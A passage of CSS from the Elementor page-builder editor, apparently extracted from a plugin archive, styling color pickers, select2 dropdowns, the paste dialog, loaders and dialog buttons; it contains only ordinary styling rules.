text-overflow: ellipsis; overflow: hidden; } .elementor-color-picker__header { display: flex; justify-content: space-between; align-items: center; font-weight: bold; padding: 10px; box-shadow: 0 2px 8px rgba(0, 0, 0, 0.1); } .e-color-picker__tools { display: flex; } .e-control-color--no-value .pcr-button { background-image: linear-gradient(135deg, transparent 46%, #ff3030 50%, transparent 54%); background-size: cover; background-color: transparent; } .pickr { border: var(--e-a-border); height: 27px; } .pickr .pcr-button { height: 100%; width: 100%; border-radius: var(--e-a-border-radius); } .pickr .pcr-button:before, .pickr .pcr-button:after { height: 12px; width: 12px; top: 50%; left: 50%; transform: translate(-50%, -50%); } .pcr-app { background-color: var(--e-a-bg-default); color: var(--e-a-color-txt); box-shadow: var(--e-a-popover-shadow); font-family: var(--e-a-font-family); } .pcr-app[data-theme=monolith] { padding: 0; width: 270px; } .pcr-app[data-theme=monolith] .pcr-selection .pcr-color-opacity, .pcr-app[data-theme=monolith] .pcr-selection .pcr-color-chooser { height: 8px; } .pcr-app[data-theme=monolith] .pcr-selection .pcr-color-palette { height: 150px; } .pcr-app .pcr-selection .pcr-picker { box-shadow: 0 0 5px 1px rgba(0, 0, 0, 0.2); } .pcr-app .pcr-interaction { padding-block-end: 20px; } .pcr-app .pcr-interaction input.pcr-result { border: var(--e-a-border); color: var(--e-a-color-txt); border-radius: var(--e-a-border-radius); margin: 0; background-color: transparent; } .pcr-app .pcr-interaction input.pcr-result:focus { box-shadow: none; border-color: var(--e-a-border-color-bold); } .pcr-app .pcr-interaction input.pcr-type { all: unset; font-size: 10px; color: var(--e-a-color-txt-muted); padding-inline-start: 5px; cursor: pointer; } .pcr-app .pcr-interaction input.pcr-type.active { background-color: transparent; color: var(--e-a-color-txt-accent); } .pcr-selection, .pcr-interaction { padding: 0 20px; } .pcr-selection { padding-block-start: 20px; } .pcr .elementor-control-dynamic-switcher { height: 20px; border: 0; } .select2-container { width: 100% !important; outline: none; z-index: 9999; font-size: 12px; } .select2-container .e-select2-placeholder { color: var(--e-a-color-txt-muted); } .select2-container.select2-container--default .select2-selection--single { height: 27px; background-color: transparent; } .select2-container.select2-container--default .select2-selection--single .select2-selection__rendered { color: var(--e-a-color-txt); line-height: 27px; } .select2-container.select2-container--default .select2-results__option--highlighted[aria-selected] { background-color: var(--e-a-bg-hover); color: var(--e-a-color-txt-hover); } .select2-container.select2-container--default .select2-selection--multiple { background-color: var(--e-a-bg-default); min-height: 27px; line-height: 0; } .select2-container.select2-container--default .select2-selection--multiple .select2-selection__clear { display: none; } .select2-container.select2-container--default .select2-selection--multiple .select2-selection__choice { background-color: var(--e-a-btn-bg); color: var(--e-a-btn-color-invert); line-height: 1.2; font-size: 10px; border: none; border-radius: 0; padding: 2px 3px; } .select2-container.select2-container--default .select2-selection--multiple .select2-selection__choice.select2-selection__e-plus-button { cursor: pointer; width: 16.67px; text-indent: -9999px; position: relative; } .select2-container.select2-container--default .select2-selection--multiple .select2-selection__choice.select2-selection__e-plus-button:after { content: "\e815"; font-family: "eicons"; color: var(--e-a-btn-color-invert); text-indent: 0; position: absolute; left: 0; top: 0; width: 100%; height: 100%; display: flex; justify-content: center; align-items: center; } .select2-container.select2-container--default .select2-selection--multiple .select2-selection__rendered { padding-block-end: 5px; } .select2-container.select2-container--default .select2-selection--multiple .select2-selection__choice__remove { color: var(--e-a-btn-color-invert); margin-inline-end: 3px; } .select2-container:not(.select2-container--open):not(.select2-container--focus) .select2-selection--single, .select2-container:not(.select2-container--open):not(.select2-container--focus) .select2-selection--multiple { background-color: var(--e-a-bg-default); color: var(--e-a-color-txt); border-color: var(--e-a-border-color); } .select2-container.select2-container--open .select2-selection--single, .select2-container.select2-container--open .select2-selection--multiple, .select2-container.select2-container--focus .select2-selection--single, .select2-container.select2-container--focus .select2-selection--multiple { border-color: var(--e-a-border-color-bold); } .select2-selection { outline: none; } .select2-selection--single { height: 27px; } .select2-selection__arrow { height: 27px; top: 0; } .select2-results__option[aria-selected=true] { background-color: var(--e-a-bg-active); color: var(--e-a-color-txt-active); } .select2-results__option[aria-selected=true]:not(.select2-results__option--highlighted) { background-color: var(--e-a-bg-active); } .select2-dropdown { border-color: var(--e-a-border-color); background-color: var(--e-a-bg-default); color: var(--e-a-color-txt); box-shadow: var(--e-a-dropdown-shadow); } .select2-dropdown .select2-search__field { outline: none; } .e-ui-state--document-scrubbing-mode__on, .e-ui-state--document-scrubbing-mode__on * { cursor: ew-resize; } .e-ui-state--document-scrubbing-mode__on input.e-scrubbing--active, .e-ui-state--document-scrubbing-mode__on input.e-scrubbing--active:focus { box-shadow: 0 0 0 1px #0e3b9c inset; } .e-ui-state--document-scrubbing-mode__on label.e-scrubbing--active { color: #0e3b9c; -webkit-user-select: none; -moz-user-select: none; user-select: none; } .e-ui-state--document-scrubbing-mode__on iframe { pointer-events: none; } label.e-scrubbing-over { cursor: ew-resize; } #elementor-paste-area-dialog { text-align: center; } #elementor-paste-area-dialog .dialog-header { padding-block-start: 60px; font-size: 30px; } #elementor-paste-area-dialog .dialog-message { padding: 0 15px 15px; font-size: 15px; position: relative; } #elementor-paste-area-dialog #elementor-paste-area-dialog__input { background: transparent; color: transparent; border-color: transparent; padding: 0; margin: 0; height: 100px; position: absolute; top: -60px; left: 0; right: 0; } #elementor-paste-area-dialog #elementor-paste-area-dialog__input:focus { border-color: transparent; outline: none; } #elementor-paste-area-dialog .dialog-widget-content { width: 400px; } #elementor-paste-area-dialog .dialog-widget-content .eicon-loading { display: none; } #elementor-paste-area-dialog .dialog-widget-content.e-state-loading .eicon-loading { display: block; margin-block-start: 15px; } #elementor-paste-area-dialog #elementor-paste-area-dialog__error { color: var(--e-a-color-danger); font-size: 12px; } #elementor-paste-area-dialog #elementor-paste-area-dialog__error:before { content: ""; border-block-start: var(--e-a-border); display: block; margin: 10px -15px; } [class^=eicon-flex], [class*=" eicon-flex"] { transition: 0.3s all; --is-ltr: 1; --is-rtl: 0; --rotation-direction: calc(var(--is-ltr) - var(--is-rtl)); --is-ltr: 0; --is-rtl: 1; } [class^=eicon-flex].eicon-inline, [class*=" eicon-flex"].eicon-inline { max-height: 1em; max-width: 1em; } [class^=eicon-flex]:is(.eicon-justify-start-h, .eicon-justify-end-h), [class*=" eicon-flex"]:is(.eicon-justify-start-h, .eicon-justify-end-h) { --rotation-direction: calc(var(--is-ltr) + var(--is-rtl)); } :is(.e-ui-state--document-direction-mode__column, .e-ui-state--document-direction-mode__column-reverse) [class^=eicon-flex]:not(.eicon-wrap):not(.eicon-nowrap):not(.eicon-grow), :is(.e-ui-state--document-direction-mode__column, .e-ui-state--document-direction-mode__column-reverse) [class*=" eicon-flex"]:not(.eicon-wrap):not(.eicon-nowrap):not(.eicon-grow) { transform: rotate(calc(var(--rotation-direction) * 90deg)); } :is(.e-ui-state--document-direction-mode__column, .e-ui-state--document-direction-mode__column-reverse) [class^=eicon-flex]:not(.eicon-wrap):not(.eicon-nowrap):not(.eicon-grow):is(.eicon-align-start-v, .eicon-align-end-v), :is(.e-ui-state--document-direction-mode__column, .e-ui-state--document-direction-mode__column-reverse) [class*=" eicon-flex"]:not(.eicon-wrap):not(.eicon-nowrap):not(.eicon-grow):is(.eicon-align-start-v, .eicon-align-end-v) { transform: rotate(calc(var(--rotation-direction) * -90deg)); } .e-ui-state--document-direction-mode__column-reverse [class^=eicon-flex]:not(.eicon-wrap):not(.eicon-nowrap):not(.eicon-grow):is(.eicon-justify-start-h, .eicon-justify-end-h, .eicon-order-start, .eicon-order-end), .e-ui-state--document-direction-mode__column-reverse [class*=" eicon-flex"]:not(.eicon-wrap):not(.eicon-nowrap):not(.eicon-grow):is(.eicon-justify-start-h, .eicon-justify-end-h, .eicon-order-start, .eicon-order-end) { transform: rotate(calc(var(--rotation-direction) * -90deg)); } .e-ui-state--document-direction-mode__row [class^=eicon-flex]:not(.eicon-wrap):not(.eicon-nowrap):not(.eicon-grow):is(.eicon-justify-start-h, .eicon-justify-end-h, .eicon-order-start, .eicon-order-end), .e-ui-state--document-direction-mode__row [class*=" eicon-flex"]:not(.eicon-wrap):not(.eicon-nowrap):not(.eicon-grow):is(.eicon-justify-start-h, .eicon-justify-end-h, .eicon-order-start, .eicon-order-end) { transform: rotate(calc(var(--is-rtl) * 180deg)); } .e-ui-state--document-direction-mode__row-reverse [class^=eicon-flex]:not(.eicon-wrap):not(.eicon-nowrap):not(.eicon-grow):is(.eicon-justify-start-h, .eicon-justify-end-h, .eicon-order-start, .eicon-order-end), .e-ui-state--document-direction-mode__row-reverse [class*=" eicon-flex"]:not(.eicon-wrap):not(.eicon-nowrap):not(.eicon-grow):is(.eicon-justify-start-h, .eicon-justify-end-h, .eicon-order-start, .eicon-order-end) { transform: rotate(calc(var(--is-ltr) * 180deg)); } /*# sourceMappingURL=editor-rtl.css.map */assets/css/editor.min.css000064400000517701147206604650011445 0ustar00/*! elementor - v3.24.0 - 12-09-2024 */ .elementor-control-unit-1{width:27px}.elementor-control-unit-2{width:54px}.elementor-control-unit-3{width:81px}.elementor-control-unit-4{width:108px}.elementor-control-unit-5{max-width:400px;width:52%}*,:after,:before{margin:0;padding:0;box-sizing:border-box}body,html{height:100%}html{background-color:var(--e-a-bg-loading)}iframe,img{border:0}li{list-style:none}a,body{text-decoration:none}body{color:var(--e-a-color-txt);font-family:var(--e-a-font-family);font-size:13px;font-weight:400;line-height:1;text-transform:none;overflow:hidden}body,body:after{background-color:var(--e-a-bg-default)}body:after{content:"";position:absolute;top:0;right:0;height:100%;width:0;transition:width .5s}body a{color:var(--e-a-color-info)}body a:hover{color:var(--e-a-color-primary-bold)}body.elementor-editor-active #elementor-mode-switcher-preview .eicon:before{content:"\e89f"}body.elementor-editor-preview{--e-preview-width:100%}body.elementor-editor-preview #elementor-mode-switcher-preview .eicon:before{content:"\e89e"}body.elementor-navigator--dock-hint:after{width:30px}#elementor-editor-wrapper{display:flex;width:100%;height:100vh}#elementor-panel:not(.ui-resizable-resizing),#elementor-preview:not(.ui-resizable-resizing){transition:margin .5s ease-in-out,width .5s ease-in-out}#elementor-loading{position:fixed;top:0;left:0;bottom:0;right:0;background:var(--e-a-bg-default);z-index:9999}#elementor-preview-loading{display:flex;align-items:center;justify-content:center;position:absolute;top:0;left:0;width:100%;height:100%;background-color:var(--e-a-bg-default)}#elementor-preview-loading i{color:var(--e-a-color-txt-disabled);font-size:50px}.elementor-nerd-box{padding:30px;text-align:center}.elementor-nerd-box-icon{width:100px}.elementor-nerd-box-title{margin-block-start:20px;font-size:16px;font-weight:700;line-height:1.4}.elementor-nerd-box-message{margin-block-start:5px;line-height:1.8;font-size:11px}.elementor-nerd-box .elementor-button{margin-block-start:20px}.elementor-nerd-box--upsale{padding:15px 30px 30px}.elementor-nerd-box--upsale .elementor-nerd-box-title{font-weight:500;line-height:1.2}.elementor-nerd-box--upsale .elementor-nerd-box-message{line-height:1.5}.eicon-nerd:hover:before{content:"\e8b7"}.eicon-nerd:active:before{content:"\e8b6"}.e-group-control-header{display:flex;justify-content:space-between;align-items:center;font-weight:700;font-size:12px;padding:10px;box-shadow:0 2px 8px rgba(0,0,0,.1);margin-block-end:15px}.e-control-tools{display:flex}.e-control-tool{width:20px;height:20px;display:inline-flex;border-radius:3px;margin:0 3px;border:0;position:relative;background-color:var(--e-a-bg-default)}.e-control-tool:not(.e-control-tool-disabled){box-shadow:0 1px 5px rgba(0,0,0,.1);cursor:pointer}.e-control-tool-disabled{background:var(--e-a-bg-default);pointer-events:none}.e-control-tool-disabled i{color:var(--e-a-color-txt-disabled)}.e-control-tool i{position:absolute;top:50%;left:50%;transform:translateX(-50%) translateY(-50%);color:var(--e-a-color-txt-default);font-size:13px}i.eicon-tilted{transform:rotate(90deg)}.elementor-loader-wrapper{position:absolute;top:50%;left:50%;transform:translate(-50%,-50%);width:300px;display:flex;flex-direction:column;align-items:center;gap:30px}.elementor-loader{border-radius:50%;padding:40px;height:150px;width:150px;background-color:var(--e-a-bg-active);box-sizing:border-box;box-shadow:2px 2px 20px 4px rgba(0,0,0,.02)}.elementor-loader-boxes{height:100%;width:100%;position:relative}.elementor-loader-box{position:absolute;background-color:var(--e-a-color-txt-hover);animation:load 1.8s linear infinite}.elementor-loader-box:first-of-type{width:20%;height:100%;left:0;top:0}.elementor-loader-box:not(:first-of-type){right:0;height:20%;width:60%}.elementor-loader-box:nth-of-type(2){top:0;animation-delay:calc(1.8s / 4 * -1)}.elementor-loader-box:nth-of-type(3){top:40%;animation-delay:calc(1.8s / 4 * -2)}.elementor-loader-box:nth-of-type(4){bottom:0;animation-delay:calc(1.8s / 4 * -3)}.elementor-loading-title{color:var(--e-a-color-txt);text-align:center;text-transform:uppercase;letter-spacing:7px;text-indent:7px;font-size:10px;width:100%}.e-input-style,input,select,textarea{color:var(--e-a-color-txt);border-radius:var(--e-a-border-radius);font-size:12px;width:100%;background:none;background-color:var(--e-a-bg-default);box-shadow:none;border:var(--e-a-border-bold);outline:none}.e-input-style:focus,.e-input-style:focus+.elementor-control-dynamic-switcher,input:focus,input:focus+.elementor-control-dynamic-switcher,select:focus,select:focus+.elementor-control-dynamic-switcher,textarea:focus,textarea:focus+.elementor-control-dynamic-switcher{border-color:var(--e-a-border-color-focus)}.elementor-error input,.elementor-error select,.elementor-error textarea{border-color:var(--e-a-color-danger)}input{min-width:0}.e-input-style,input,textarea{padding:5px}.e-input-style,textarea{resize:vertical}input[type=checkbox],input[type=radio]{height:auto;width:auto}input[type=checkbox]{margin:0;padding:0;-webkit-appearance:none;-moz-appearance:none;appearance:none;outline:none;content:none;height:15px;border-radius:var(--e-a-border-radius);margin-inline-end:5px;width:15px;border:var(--e-a-border-bold);display:inline-flex;align-items:center;justify-content:center}input[type=checkbox]:checked{background:var(--e-a-color-primary-bold);border:none}input[type=checkbox]:checked:before{display:block;content:"";width:4px;height:7px;border:solid #fff;border-width:0 2px 2px 0;transform:rotate(45deg)}input[disabled]{background-color:var(--e-a-bg-hover);cursor:not-allowed;opacity:1}select{outline:none;height:27px}.dialog-widget-content{background-color:var(--e-a-bg-default);position:absolute;border-radius:3px;box-shadow:2px 8px 23px 3px rgba(0,0,0,.2);overflow:hidden}.dialog-message{line-height:1.5;box-sizing:border-box}.dialog-close-button{cursor:pointer;position:absolute;margin-block-start:15px;inset-inline-end:15px;color:var(--e-a-color-txt);font-size:15px;line-height:1;transition:var(--e-a-transition-hover)}.dialog-close-button:hover{color:var(--e-a-color-txt-hover)}.dialog-prevent-scroll{overflow:hidden;max-height:100vh}.dialog-type-lightbox{position:fixed;height:100%;width:100%;bottom:0;left:0;background-color:rgba(0,0,0,.8);z-index:9999;-webkit-user-select:none;-moz-user-select:none;user-select:none}.elementor-editor-active .elementor-popup-modal{background-color:initial}.dialog-type-alert .dialog-widget-content,.dialog-type-confirm .dialog-widget-content{margin:auto;width:400px;padding:20px}.dialog-type-alert .dialog-header,.dialog-type-confirm .dialog-header{font-size:15px;font-weight:500}.dialog-type-alert .dialog-header:after,.dialog-type-confirm .dialog-header:after{content:"";display:block;border-block-end:var(--e-a-border);padding-block-end:10px;margin-block-end:10px;margin-inline-start:-20px;margin-inline-end:-20px}.dialog-type-alert .dialog-message,.dialog-type-confirm .dialog-message{min-height:50px}.dialog-type-alert .dialog-buttons-wrapper,.dialog-type-confirm .dialog-buttons-wrapper{padding-block-start:10px;display:flex;justify-content:flex-end;gap:15px}.dialog-type-alert .dialog-buttons-wrapper .dialog-button,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button{font-size:12px;font-weight:500;line-height:1.2;padding:8px 16px;outline:none;border:none;border-radius:var(--e-a-border-radius);background-color:var(--e-a-btn-bg);color:var(--e-a-btn-color-invert);transition:var(--e-a-transition-hover)}.dialog-type-alert .dialog-buttons-wrapper .dialog-button:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button:hover{border:none}.dialog-type-alert .dialog-buttons-wrapper .dialog-button:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button:hover{background-color:var(--e-a-btn-bg-hover);color:var(--e-a-btn-color-invert)}.dialog-type-alert .dialog-buttons-wrapper .dialog-button:active,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button:active{background-color:var(--e-a-btn-bg-active)}.dialog-type-alert .dialog-buttons-wrapper .dialog-button:not([disabled]),.dialog-type-confirm .dialog-buttons-wrapper .dialog-button:not([disabled]){cursor:pointer}.dialog-type-alert .dialog-buttons-wrapper .dialog-button:disabled,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button:disabled{background-color:var(--e-a-btn-bg-disabled);color:var(--e-a-btn-color-disabled)}.dialog-type-alert .dialog-buttons-wrapper .dialog-button:not(.elementor-button-state) .elementor-state-icon,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button:not(.elementor-button-state) .elementor-state-icon{display:none}.dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt{background:transparent;color:var(--e-a-color-txt)}.dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel:hover,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt:hover{background:var(--e-a-bg-hover);color:var(--e-a-color-txt-hover)}.dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel:disabled,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt:disabled,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel:disabled,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt:disabled{background:transparent;color:var(--e-a-color-txt-disabled)}.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt-border,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt-border{border:1px solid var(--e-a-color-txt-muted)}.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-success,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-success,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-success,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-success{background-color:var(--e-a-btn-bg-success)}.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-success:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-success:hover,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-success:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-success:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-success:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-success:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-success:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-success:hover{background-color:var(--e-a-btn-bg-success-hover)}.dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-take_over,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-take_over,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary{background-color:var(--e-a-btn-bg-primary);color:var(--e-a-btn-color)}.dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok:hover,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-take_over:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-take_over:hover,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-take_over:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-take_over:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary:hover{background-color:var(--e-a-btn-bg-primary-hover);color:var(--e-a-btn-color)}.dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-take_over,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-ok,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-take_over,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary.dialog-cancel,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary.e-btn-txt,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-take_over,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-ok,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-take_over,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary.dialog-cancel,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary.e-btn-txt{background:transparent;color:var(--e-a-color-primary-bold)}.dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-take_over:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-take_over:hover,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel:hover,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-ok:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-ok:hover,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-take_over:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-take_over:hover,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary.dialog-cancel:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary.dialog-cancel:hover,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary.e-btn-txt:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary.e-btn-txt:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-take_over:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-take_over:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-ok:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-ok:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-take_over:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-take_over:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary.dialog-cancel:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary.dialog-cancel:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary.e-btn-txt:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary.e-btn-txt:hover{background:var(--e-a-bg-primary)}.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-accent,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.go-pro,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-accent,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.go-pro{background-color:var(--e-a-btn-bg-accent)}.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-accent:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-accent:hover,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.go-pro:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.go-pro:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-accent:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-accent:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.go-pro:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.go-pro:hover{background-color:var(--e-a-btn-bg-accent-hover)}.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-accent:active,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.go-pro:active,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-accent:active,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.go-pro:active{background-color:var(--e-a-btn-bg-accent-active)}.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-info,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-info,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-info,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-info{background-color:var(--e-a-btn-bg-info)}.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-info:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-info:hover,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-info:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-info:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-info:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-info:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-info:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-info:hover{background-color:var(--e-a-btn-bg-info-hover)}.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-warning,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-warning,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-warning,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-warning{background-color:var(--e-a-btn-bg-warning)}.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-warning:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-warning:hover,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-warning:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-warning:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-warning:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-warning:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-warning:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-warning:hover{background-color:var(--e-a-btn-bg-warning-hover)}.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-danger,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-danger,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-danger,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-danger{background-color:var(--e-a-btn-bg-danger)}.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-danger:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-danger:hover,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-danger:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-danger:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-danger:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-danger:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-danger:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-danger:hover{background-color:var(--e-a-btn-bg-danger-hover)}.dialog-type-alert .dialog-buttons-wrapper .dialog-button i,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button i{margin-inline-end:5px}.dialog-type-alert .dialog-buttons-wrapper .dialog-button:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button:hover,.dialog-type-alert .dialog-buttons-wrapper .dialog-button:visited,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button:visited{color:initial}.ps{overflow:hidden!important;overflow-anchor:none;touch-action:auto}.ps__rail-y{display:none;opacity:0;transition:background-color .2s linear,opacity .2s linear;width:15px;right:0;left:auto!important;position:absolute}.ps--active-y>.ps__rail-y{display:block;background-color:transparent}.ps--focus>.ps__rail-y,.ps--scrolling-y>.ps__rail-y,.ps:hover>.ps__rail-y{opacity:.6}.ps .ps__rail-y.ps--clicking,.ps .ps__rail-y:focus,.ps 